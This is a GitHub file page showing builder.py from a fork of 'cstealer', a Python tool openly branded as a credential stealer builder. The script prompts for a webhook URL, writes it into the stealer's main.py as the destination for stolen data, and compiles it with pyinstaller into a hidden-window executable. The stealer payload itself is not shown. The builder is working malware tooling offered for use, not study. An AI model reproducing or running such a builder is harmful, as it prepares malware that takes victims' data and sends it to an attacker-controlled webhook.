forked from can-kat/cstealer
-
Notifications
You must be signed in to change notification settings - Fork 0
/
builder.py
68 lines (58 loc) · 3.07 KB
/
builder.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pystyle import *
import os
import subprocess
import requests
from colorama import *
import time
import fade
import ctypes
username = os.getlogin()
ctypes.windll.kernel32.SetConsoleTitleW(f" CStealer Builder - {username}")
os.system("cls")
text = """
▄████▄ ██████ ▄▄▄█████▓▓█████ ▄▄▄ ██▓ ▓█████ ██▀███
▒██▀ ▀█ ▒██ ▒ ▓ ██▒ ▓▒▓█ ▀▒████▄ ▓██▒ ▓█ ▀ ▓██ ▒ ██▒
▒▓█ ▄ ░ ▓██▄ ▒ ▓██░ ▒░▒███ ▒██ ▀█▄ ▒██░ ▒███ ▓██ ░▄█ ▒
▒▓▓▄ ▄██▒ ▒ ██▒░ ▓██▓ ░ ▒▓█ ▄░██▄▄▄▄██ ▒██░ ▒▓█ ▄ ▒██▀▀█▄
▒ ▓███▀ ░▒██████▒▒ ▒██▒ ░ ░▒████▒▓█ ▓██▒░██████▒░▒████▒░██▓ ▒██▒
░ ░▒ ▒ ░▒ ▒▓▒ ▒ ░ ▒ ░░ ░░ ▒░ ░▒▒ ▓▒█░░ ▒░▓ ░░░ ▒░ ░░ ▒▓ ░▒▓░
░ ▒ ░ ░▒ ░ ░ ░ ░ ░ ░ ▒ ▒▒ ░░ ░ ▒ ░ ░ ░ ░ ░▒ ░ ▒░
░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
https://github.com/cankatx/cstealer
"""
faded_text = fade.greenblue(text)
print(faded_text)
time.sleep(1)
def endHandler():
os._exit(0)
def checkhook(webhook):
if not "api/webhooks" in webhook:
print(f"\n{Fore.RED}Invalid webhook{Fore.RESET}")
time.sleep(1)
endHandler()
webhook = input(Fore.CYAN + "\nEnter your webhook URL: " + Style.RESET_ALL)
checkhook(webhook)
filename = "main.py"
filepath = os.path.join(os.getcwd(), filename)
with open(filepath, "r", encoding="utf-8") as f:
content = f.read()
new_content = content.replace('"YOUR_WEBHOOK_URL"', f'"{webhook}"')
with open(filepath, "w", encoding="utf-8") as f:
f.write(new_content)
time.sleep(1)
answer = input(Fore.CYAN + "\nDo you want to build exe file? (Y/N) " + Style.RESET_ALL)
if answer.upper() == "Y":
os.system (f"pyinstaller --noconfirm --onefile --windowed {filename}")
print(f"\n{Fore.CYAN}File successfully builded{Fore.RESET}")
time.sleep(1)
elif answer.upper() == "N":
time.sleep(1)
run = input(Fore.CYAN + "\nDo you want to test the build? (Y/N) " + Style.RESET_ALL)
if answer.upper() == "Y":
os.system (f"{filename}")
time.sleep(1)
elif answer.upper() == "N":
print(f"\n{Fore.RED}Build done successfully{Fore.RESET}")
time.sleep(1)
endHandler()